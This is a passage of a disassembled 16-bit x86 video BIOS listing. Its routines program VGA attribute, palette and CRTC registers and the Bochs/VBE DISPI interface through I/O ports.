call 001a1h ; e8 02 01
jmp short 000eah ; eb 49
cmp ah, 04fh ; 80 fc 4f
jne short 000dch ; 75 36
cmp AL, strict byte 003h ; 3c 03
jne short 000afh ; 75 05
call 007d2h ; e8 25 07
jmp short 000eah ; eb 3b
cmp AL, strict byte 005h ; 3c 05
jne short 000b8h ; 75 05
call 007f7h ; e8 41 07
jmp short 000eah ; eb 32
cmp AL, strict byte 007h ; 3c 07
jne short 000c1h ; 75 05
call 00824h ; e8 65 07
jmp short 000eah ; eb 29
cmp AL, strict byte 008h ; 3c 08
jne short 000cah ; 75 05
call 00858h ; e8 90 07
jmp short 000eah ; eb 20
cmp AL, strict byte 009h ; 3c 09
jne short 000d3h ; 75 05
call 0088fh ; e8 be 07
jmp short 000eah ; eb 17
cmp AL, strict byte 00ah ; 3c 0a
jne short 000dch ; 75 05
call 008f3h ; e8 19 08
jmp short 000eah ; eb 0e
push ES ; 06
push DS ; 1e
pushaw ; 60
mov bx, 0c000h ; bb 00 c0
mov ds, bx ; 8e db
call 03037h ; e8 50 2f
popaw ; 61
pop DS ; 1f
pop ES ; 07
popfw ; 9d
iret ; cf
cmp bh, 000h ; 80 ff 00
je short 000f7h ; 74 06
cmp bh, 001h ; 80 ff 01
je short 00148h ; 74 52
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
push DS ; 1e
mov dx, strict word 00040h ; ba 40 00
mov ds, dx ; 8e da
mov dx, 003dah ; ba da 03
in AL, DX ; ec
cmp byte [word 00049h], 003h ; 80 3e 49 00 03
jbe short 0013bh ; 76 2f
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 000h ; b0 00
out DX, AL ; ee
db 08ah, 0c3h
; mov al, bl ; 8a c3
and AL, strict byte 00fh ; 24 0f
test AL, strict byte 008h ; a8 08
je short 0011ch ; 74 02
add AL, strict byte 008h ; 04 08
out DX, AL ; ee
mov CL, strict byte 001h ; b1 01
and bl, 010h ; 80 e3 10
mov dx, 003c0h ; ba c0 03
db 08ah, 0c1h
; mov al, cl ; 8a c1
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
and AL, strict byte 0efh ; 24 ef
db 00ah, 0c3h
; or al, bl ; 0a c3
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
db 0feh, 0c1h
; inc cl ; fe c1
cmp cl, 004h ; 80 f9 04
jne short 00122h ; 75 e7
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop DS ; 1f
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov CL, strict byte 001h ; b1 01
and bl, 001h ; 80 e3 01
mov dx, 003c0h ; ba c0 03
db 08ah, 0c1h
; mov al, cl ; 8a c1
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
and AL, strict byte 0feh ; 24 fe
db 00ah, 0c3h
; or al, bl ; 0a c3
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
db 0feh, 0c1h
; inc cl ; fe c1
cmp cl, 004h ; 80 f9 04
jne short 00155h ; 75 e7
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push DS ; 1e
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
push bx ; 53
mov bx, strict word 00062h ; bb 62 00
mov al, byte [bx] ; 8a 07
pop bx ; 5b
db 08ah, 0f8h
; mov bh, al ; 8a f8
push bx ; 53
mov bx, 00087h ; bb 87 00
mov ah, byte [bx] ; 8a 27
and ah, 080h ; 80 e4 80
mov bx, strict word 00049h ; bb 49 00
mov al, byte [bx] ; 8a 07
db 00ah, 0c4h
; or al, ah ; 0a c4
mov bx, strict word 0004ah ; bb 4a 00
mov ah, byte [bx] ; 8a 27
pop bx ; 5b
pop DS ; 1f
retn ; c3
cmp AL, strict byte 000h ; 3c 00
jne short 001a7h ; 75 02
jmp short 00208h ; eb 61
cmp AL, strict byte 001h ; 3c 01
jne short 001adh ; 75 02
jmp short 00226h ; eb 79
cmp AL, strict byte 002h ; 3c 02
jne short 001b3h ; 75 02
jmp short 0022eh ; eb 7b
cmp AL, strict byte 003h ; 3c 03
jne short 001bah ; 75 03
jmp near 0025fh ; e9 a5 00
cmp AL, strict byte 007h ; 3c 07
jne short 001c1h ; 75 03
jmp near 00289h ; e9 c8 00
cmp AL, strict byte 008h ; 3c 08
jne short 001c8h ; 75 03
jmp near 002b1h ; e9 e9 00
cmp AL, strict byte 009h ; 3c 09
jne short 001cfh ; 75 03
jmp near 002bfh ; e9 f0 00
cmp AL, strict byte 010h ; 3c 10
jne short 001d6h ; 75 03
jmp near 00304h ; e9 2e 01
cmp AL, strict byte 012h ; 3c 12
jne short 001ddh ; 75 03
jmp near 0031dh ; e9 40 01
cmp AL, strict byte 013h ; 3c 13
jne short 001e4h ; 75 03
jmp near 00345h ; e9 61 01
cmp AL, strict byte 015h ; 3c 15
jne short 001ebh ; 75 03
jmp near 0038ch ; e9 a1 01
cmp AL, strict byte 017h ; 3c 17
jne short 001f2h ; 75 03
jmp near 003a7h ; e9 b5 01
cmp AL, strict byte 018h ; 3c 18
jne short 001f9h ; 75 03
jmp near 003cfh ; e9 d6 01
cmp AL, strict byte 019h ; 3c 19
jne short 00200h ; 75 03
jmp near 003dah ; e9 da 01
cmp AL, strict byte 01ah ; 3c 1a
jne short 00207h ; 75 03
jmp near 003e5h ; e9 de 01
retn ; c3
cmp bl, 014h ; 80 fb 14
jnbe short 00225h ; 77 18
push ax ; 50
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
db 08ah, 0c7h
; mov al, bh ; 8a c7
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop ax ; 58
retn ; c3
push bx ; 53
mov BL, strict byte 011h ; b3 11
call 00208h ; e8 dc ff
pop bx ; 5b
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
db 08bh, 0dah
; mov bx, dx ; 8b da
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov CL, strict byte 000h ; b1 00
mov dx, 003c0h ; ba c0 03
db 08ah, 0c1h
; mov al, cl ; 8a c1
out DX, AL ; ee
mov al, byte [es:bx] ; 26 8a 07
out DX, AL ; ee
inc bx ; 43
db 0feh, 0c1h
; inc cl ; fe c1
cmp cl, 010h ; 80 f9 10
jne short 0023dh ; 75 f1
mov AL, strict byte 011h ; b0 11
out DX, AL ; ee
mov al, byte [es:bx] ; 26 8a 07
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 010h ; b0 10
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
and AL, strict byte 0f7h ; 24 f7
and bl, 001h ; 80 e3 01
sal bl, 003h ; c0 e3 03
db 00ah, 0c3h
; or al, bl ; 0a c3
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop bx ; 5b
pop ax ; 58
retn ; c3
cmp bl, 014h ; 80 fb 14
jnbe short 002b0h ; 77 22
push ax ; 50
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
db 08ah, 0f8h
; mov bh, al ; 8a f8
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
mov BL, strict byte 011h ; b3 11
call 00289h ; e8 d1 ff
db 08ah, 0c7h
; mov al, bh ; 8a c7
pop bx ; 5b
db 08ah, 0f8h
; mov bh, al ; 8a f8
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
db 08bh, 0dah
; mov bx, dx ; 8b da
mov CL, strict byte 000h ; b1 00
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
db 08ah, 0c1h
; mov al, cl ; 8a c1
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
mov byte [es:bx], al ; 26 88 07
inc bx ; 43
db 0feh, 0c1h
; inc cl ; fe c1
cmp cl, 010h ; 80 f9 10
jne short 002c7h ; 75 e7
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 011h ; b0 11
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
mov byte [es:bx], al ; 26 88 07
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003c8h ; ba c8 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
mov dx, 003c9h ; ba c9 03
pop ax ; 58
push ax ; 50
db 08ah, 0c4h
; mov al, ah ; 8a c4
out DX, AL ; ee
db 08ah, 0c5h
; mov al, ch ; 8a c5
out DX, AL ; ee
db 08ah, 0c1h
; mov al, cl ; 8a c1
out DX, AL ; ee
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
mov dx, 003c8h ; ba c8 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
pop dx ; 5a
push dx ; 52
db 08bh, 0dah
; mov bx, dx ; 8b da
mov dx, 003c9h ; ba c9 03
mov al, byte [es:bx] ; 26 8a 07
out DX, AL ; ee
inc bx ; 43
mov al, byte [es:bx] ; 26 8a 07
out DX, AL ; ee
inc bx ; 43
mov al, byte [es:bx] ; 26 8a 07
out DX, AL ; ee
inc bx ; 43
dec cx ; 49
jne short 0032eh ; 75 ee
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 010h ; b0 10
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
and bl, 001h ; 80 e3 01
jne short 00368h ; 75 0d
and AL, strict byte 07fh ; 24 7f
sal bh, 007h ; c0 e7 07
db 00ah, 0c7h
; or al, bh ; 0a c7
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
jmp short 00381h ; eb 19
push ax ; 50
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 014h ; b0 14
out DX, AL ; ee
pop ax ; 58
and AL, strict byte 080h ; 24 80
jne short 0037bh ; 75 03
sal bh, 002h ; c0 e7 02
and bh, 00fh ; 80 e7 0f
db 08ah, 0c7h
; mov al, bh ; 8a c7
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003c7h ; ba c7 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
pop ax ; 58
db 08ah, 0e0h
; mov ah, al ; 8a e0
mov dx, 003c9h ; ba c9 03
in AL, DX ; ec
xchg al, ah ; 86 e0
push ax ; 50
in AL, DX ; ec
db 08ah, 0e8h
; mov ch, al ; 8a e8
in AL, DX ; ec
db 08ah, 0c8h
; mov cl, al ; 8a c8
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
mov dx, 003c7h ; ba c7 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
pop dx ; 5a
push dx ; 52
db 08bh, 0dah
; mov bx, dx ; 8b da
mov dx, 003c9h ; ba c9 03
in AL, DX ; ec
mov byte [es:bx], al ; 26 88 07
inc bx ; 43
in AL, DX ; ec
mov byte [es:bx], al ; 26 88 07
inc bx ; 43
in AL, DX ; ec
mov byte [es:bx], al ; 26 88 07
inc bx ; 43
dec cx ; 49
jne short 003b8h ; 75 ee
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003c6h ; ba c6 03
db 08ah, 0c3h
; mov al, bl ; 8a c3
out DX, AL ; ee
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003c6h ; ba c6 03
in AL, DX ; ec
db 08ah, 0d8h
; mov bl, al ; 8a d8
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 010h ; b0 10
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
db 08ah, 0d8h
; mov bl, al ; 8a d8
shr bl, 007h ; c0 eb 07
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 014h ; b0 14
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
db 08ah, 0f8h
; mov bh, al ; 8a f8
and bh, 00fh ; 80 e7 0f
test bl, 001h ; f6 c3 01
jne short 00415h ; 75 03
shr bh, 002h ; c0 ef 02
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003c4h ; ba c4 03
db 08ah, 0e3h
; mov ah, bl ; 8a e3
mov AL, strict byte 003h ; b0 03
out DX, ax ; ef
pop dx ; 5a
pop ax ; 58
retn ; c3
push DS ; 1e
push ax ; 50
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
db 032h, 0edh
; xor ch, ch ; 32 ed
mov bx, 00088h ; bb 88 00
mov cl, byte [bx] ; 8a 0f
and cl, 00fh ; 80 e1 0f
mov bx, strict word 00063h ; bb 63 00
mov ax, word [bx] ; 8b 07
mov bx, strict word 00003h ; bb 03 00
cmp ax, 003b4h ; 3d b4 03
jne short 00453h ; 75 02
mov BH, strict byte 001h ; b7 01
pop ax ; 58
pop DS ; 1f
retn ; c3
push DS ; 1e
push bx ; 53
push dx ; 52
db 08ah, 0d0h
; mov dl, al ; 8a d0
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 00089h ; bb 89 00
mov al, byte [bx] ; 8a 07
mov bx, 00088h ; bb 88 00
mov ah, byte [bx] ; 8a 27
cmp dl, 001h ; 80 fa 01
je short 00484h ; 74 15
jc short 0048eh ; 72 1d
cmp dl, 002h ; 80 fa 02
je short 00478h ; 74 02
jmp short 004a2h ; eb 2a
and AL, strict byte 07fh ; 24 7f
or AL, strict byte 010h ; 0c 10
and ah, 0f0h ; 80 e4 f0
or ah, 009h ; 80 cc 09
jne short 00498h ; 75 14
and AL, strict byte 06fh ; 24 6f
and ah, 0f0h ; 80 e4 f0
or ah, 009h ; 80 cc 09
jne short 00498h ; 75 0a
and AL, strict byte 0efh ; 24 ef
or AL, strict byte 080h ; 0c 80
and ah, 0f0h ; 80 e4 f0
or ah, 008h ; 80 cc 08
mov bx, 00089h ; bb 89 00
mov byte [bx], al ; 88 07
mov bx, 00088h ; bb 88 00
mov byte [bx], ah ; 88 27
mov ax, 01212h ; b8 12 12
pop dx ; 5a
pop bx ; 5b
pop DS ; 1f
retn ; c3
push DS ; 1e
push bx ; 53
push dx ; 52
db 08ah, 0d0h
; mov dl, al ; 8a d0
and dl, 001h ; 80 e2 01
sal dl, 003h ; c0 e2 03
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 00089h ; bb 89 00
mov al, byte [bx] ; 8a 07
and AL, strict byte 0f7h ; 24 f7
db 00ah, 0c2h
; or al, dl ; 0a c2
mov byte [bx], al ; 88 07
mov ax, 01212h ; b8 12 12
pop dx ; 5a
pop bx ; 5b
pop DS ; 1f
retn ; c3
push bx ; 53
push dx ; 52
db 08ah, 0d8h
; mov bl, al ; 8a d8
and bl, 001h ; 80 e3 01
xor bl, 001h ; 80 f3 01
sal bl, 1 ; d0 e3
mov dx, 003cch ; ba cc 03
in AL, DX ; ec
and AL, strict byte 0fdh ; 24 fd
db 00ah, 0c3h
; or al, bl ; 0a c3
mov dx, 003c2h ; ba c2 03
out DX, AL ; ee
mov ax, 01212h ; b8 12 12
pop dx ; 5a
pop bx ; 5b
retn ; c3
push DS ; 1e
push bx ; 53
push dx ; 52
db 08ah, 0d0h
; mov dl, al ; 8a d0
and dl, 001h ; 80 e2 01
xor dl, 001h ; 80 f2 01
sal dl, 1 ; d0 e2
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 00089h ; bb 89 00
mov al, byte [bx] ; 8a 07
and AL, strict byte 0fdh ; 24 fd
db 00ah, 0c2h
; or al, dl ; 0a c2
mov byte [bx], al ; 88 07
mov ax, 01212h ; b8 12 12
pop dx ; 5a
pop bx ; 5b
pop DS ; 1f
retn ; c3
push DS ; 1e
push bx ; 53
push dx ; 52
db 08ah, 0d0h
; mov dl, al ; 8a d0
and dl, 001h ; 80 e2 01
xor dl, 001h ; 80 f2 01
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 00089h ; bb 89 00
mov al, byte [bx] ; 8a 07
and AL, strict byte 0feh ; 24 fe
db 00ah, 0c2h
; or al, dl ; 0a c2
mov byte [bx], al ; 88 07
mov ax, 01212h ; b8 12 12
pop dx ; 5a
pop bx ; 5b
pop DS ; 1f
retn ; c3
cmp AL, strict byte 000h ; 3c 00
je short 00538h ; 74 05
cmp AL, strict byte 001h ; 3c 01
je short 0054dh ; 74 16
retn ; c3
push DS ; 1e
push ax ; 50
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 0008ah ; bb 8a 00
mov al, byte [bx] ; 8a 07
db 08ah, 0d8h
; mov bl, al ; 8a d8
db 032h, 0ffh
; xor bh, bh ; 32 ff
pop ax ; 58
db 08ah, 0c4h
; mov al, ah ; 8a c4
pop DS ; 1f
retn ; c3
push DS ; 1e
push ax ; 50
push bx ; 53
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
db 08bh, 0c3h
; mov ax, bx ; 8b c3
mov bx, 0008ah ; bb 8a 00
mov byte [bx], al ; 88 07
pop bx ; 5b
pop ax ; 58
db 08ah, 0c4h
; mov al, ah ; 8a c4
pop DS ; 1f
retn ; c3
times 0xe db 0
do_out_dx_ax: ; 0xc0570 LB 0x7
xchg ah, al ; 86 c4
out DX, AL ; ee
xchg ah, al ; 86 c4
out DX, AL ; ee
retn ; c3
do_in_ax_dx: ; 0xc0577 LB 0x40
in AL, DX ; ec
xchg ah, al ; 86 c4
in AL, DX ; ec
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
test AL, strict byte 008h ; a8 08
je short 00581h ; 74 fb
pop dx ; 5a
pop ax ; 58
retn ; c3
push ax ; 50
push dx ; 52
mov dx, 003dah ; ba da 03
in AL, DX ; ec
test AL, strict byte 008h ; a8 08
jne short 0058eh ; 75 fb
pop dx ; 5a
pop ax ; 58
retn ; c3
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00003h ; b8 03 00
call 00570h ; e8 d0 ff
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 d1 ff
cmp AL, strict byte 004h ; 3c 04
jbe short 005b5h ; 76 0b
db 08ah, 0e0h
; mov ah, al ; 8a e0
shr ah, 003h ; c0 ec 03
test AL, strict byte 007h ; a8 07
je short 005b5h ; 74 02
db 0feh, 0c4h
; inc ah ; fe c4
pop dx ; 5a
retn ; c3
_dispi_get_max_bpp: ; 0xc05b7 LB 0x26
push dx ; 52
push bx ; 53
call 005f1h ; e8 35 00
db 08bh, 0d8h
; mov bx, ax ; 8b d8
or ax, strict byte 00002h ; 83 c8 02
call 005ddh ; e8 19 00
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00003h ; b8 03 00
call 00570h ; e8 a3 ff
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 a4 ff
push ax ; 50
db 08bh, 0c3h
; mov ax, bx ; 8b c3
call 005ddh ; e8 04 00
pop ax ; 58
pop bx ; 5b
pop dx ; 5a
retn ; c3
dispi_set_enable_: ; 0xc05dd LB 0x26
push dx ; 52
push ax ; 50
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00004h ; b8 04 00
call 00570h ; e8 88 ff
pop ax ; 58
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 81 ff
pop dx ; 5a
retn ; c3
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00004h ; b8 04 00
call 00570h ; e8 75 ff
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 76 ff
pop dx ; 5a
retn ; c3
dispi_set_bank_: ; 0xc0603 LB 0x26
push dx ; 52
push ax ; 50
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00005h ; b8 05 00
call 00570h ; e8 62 ff
pop ax ; 58
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 5b ff
pop dx ; 5a
retn ; c3
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00005h ; b8 05 00
call 00570h ; e8 4f ff
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 50 ff
pop dx ; 5a
retn ; c3
_dispi_set_bank_farcall: ; 0xc0629 LB 0xa9
cmp bx, 00100h ; 81 fb 00 01
je short 00653h ; 74 24
db 00bh, 0dbh
; or bx, bx ; 0b db
jne short 00665h ; 75 32
db 08bh, 0c2h
; mov ax, dx ; 8b c2
push dx ; 52
push ax ; 50
mov ax, strict word 00005h ; b8 05 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 30 ff
pop ax ; 58
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 29 ff
call 00577h ; e8 2d ff
pop dx ; 5a
db 03bh, 0d0h
; cmp dx, ax ; 3b d0
jne short 00665h ; 75 16
mov ax, strict word 0004fh ; b8 4f 00
retf ; cb
mov ax, strict word 00005h ; b8 05 00
mov dx, 001ceh ; ba ce 01
call 00570h ; e8 14 ff
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 15 ff
db 08bh, 0d0h
; mov dx, ax ; 8b d0
retf ; cb
mov ax, 0014fh ; b8 4f 01
retf ; cb
push dx ; 52
push ax ; 50
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00008h ; b8 08 00
call 00570h ; e8 fc fe
pop ax ; 58
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 f5 fe
pop dx ; 5a
retn ; c3
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00008h ; b8 08 00
call 00570h ; e8 e9 fe
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 ea fe
pop dx ; 5a
retn ; c3
push dx ; 52
push ax ; 50
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00009h ; b8 09 00
call 00570h ; e8 d6 fe
pop ax ; 58
mov dx, 001cfh ; ba cf 01
call 00570h ; e8 cf fe
pop dx ; 5a
retn ; c3
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00009h ; b8 09 00
call 00570h ; e8 c3 fe
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 c4 fe
pop dx ; 5a
retn ; c3
push ax ; 50
push bx ; 53
push dx ; 52
db 08bh, 0d8h
; mov bx, ax ; 8b d8
call 00596h ; e8 d9 fe
cmp AL, strict byte 004h ; 3c 04
jnbe short 006c3h ; 77 02
shr bx, 1 ; d1 eb
shr bx, 003h ; c1 eb 03
mov dx, 003d4h ; ba d4 03
db 08ah, 0e3h
; mov ah, bl ; 8a e3
mov AL, strict byte 013h ; b0 13
out DX, ax ; ef
pop dx ; 5a
pop bx ; 5b
pop ax ; 58
retn ; c3
_vga_compat_setup: ; 0xc06d2 LB 0xed
push ax ; 50
push dx ; 52
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00001h ; b8 01 00
call 00570h ; e8 93 fe
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 94 fe
push ax ; 50
mov dx, 003d4h ; ba d4 03
mov ax, strict word 00011h ; b8 11 00
out DX, ax ; ef
pop ax ; 58
push ax ; 50
shr ax, 003h ; c1 e8 03
dec ax ; 48
db 08ah, 0e0h
; mov ah, al ; 8a e0
mov AL, strict byte 001h ; b0 01
out DX, ax ; ef
pop ax ; 58
call 006b5h ; e8 bb ff
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00002h ; b8 02 00
call 00570h ; e8 6d fe
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 6e fe
dec ax ; 48
push ax ; 50
mov dx, 003d4h ; ba d4 03
db 08ah, 0e0h
; mov ah, al ; 8a e0
mov AL, strict byte 012h ; b0 12
out DX, ax ; ef
pop ax ; 58
mov AL, strict byte 007h ; b0 07
out DX, AL ; ee
inc dx ; 42
in AL, DX ; ec
and AL, strict byte 0bdh ; 24 bd
test ah, 001h ; f6 c4 01
je short 00722h ; 74 02
or AL, strict byte 002h ; 0c 02
test ah, 002h ; f6 c4 02
je short 00729h ; 74 02
or AL, strict byte 040h ; 0c 40
out DX, AL ; ee
mov dx, 003d4h ; ba d4 03
mov ax, strict word 00009h ; b8 09 00
out DX, AL ; ee
mov dx, 003d5h ; ba d5 03
in AL, DX ; ec
and AL, strict byte 060h ; 24 60
out DX, AL ; ee
mov dx, 003d4h ; ba d4 03
mov AL, strict byte 017h ; b0 17
out DX, AL ; ee
mov dx, 003d5h ; ba d5 03
in AL, DX ; ec
or AL, strict byte 003h ; 0c 03
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 010h ; b0 10
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
or AL, strict byte 001h ; 0c 01
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003ceh ; ba ce 03
mov ax, 00506h ; b8 06 05
out DX, ax ; ef
mov dx, 003c4h ; ba c4 03
mov ax, 00f02h ; b8 02 0f
out DX, ax ; ef
mov dx, 001ceh ; ba ce 01
mov ax, strict word 00003h ; b8 03 00
call 00570h ; e8 fd fd
mov dx, 001cfh ; ba cf 01
call 00577h ; e8 fe fd
cmp AL, strict byte 008h ; 3c 08
jc short 007bdh ; 72 40
mov dx, 003d4h ; ba d4 03
mov AL, strict byte 014h ; b0 14
out DX, AL ; ee
mov dx, 003d5h ; ba d5 03
in AL, DX ; ec
or AL, strict byte 040h ; 0c 40
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
mov dx, 003c0h ; ba c0 03
mov AL, strict byte 010h ; b0 10
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
or AL, strict byte 040h ; 0c 40
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov AL, strict byte 020h ; b0 20
out DX, AL ; ee
mov dx, 003c4h ; ba c4 03
mov AL, strict byte 004h ; b0 04
out DX, AL ; ee
mov dx, 003c5h ; ba c5 03
in AL, DX ; ec
or AL, strict byte 008h ; 0c 08
out DX, AL ; ee
mov dx, 003ceh ; ba ce 03
mov AL, strict byte 005h ; b0 05
out DX, AL ; ee
mov dx, 003cfh ; ba cf 03
in AL, DX ; ec
and AL, strict byte 09fh ; 24 9f
or AL, strict byte 040h ; 0c 40
out DX, AL ; ee
pop dx ; 5a
pop ax ; 58
_vbe_has_vbe_display: ; 0xc07bf LB 0x13
push DS ; 1e
push bx ; 53
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov bx, 000b9h ; bb b9 00
mov al, byte [bx] ; 8a 07
and AL, strict byte 001h ; 24 01
db 032h, 0e4h
; xor ah, ah ; 32 e4
pop bx ; 5b
pop DS ; 1f
retn ; c3
vbe_biosfn_return_current_mode: ; 0xc07d2 LB 0x25
push DS ; 1e
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
call 005f1h ; e8 16 fe
and ax, strict byte 00001h ; 83 e0 01
je short 007e9h ; 74 09
mov bx, 000bah ; bb ba 00
mov ax, word [bx] ; 8b 07
db 08bh, 0d8h
; mov bx, ax ; 8b d8
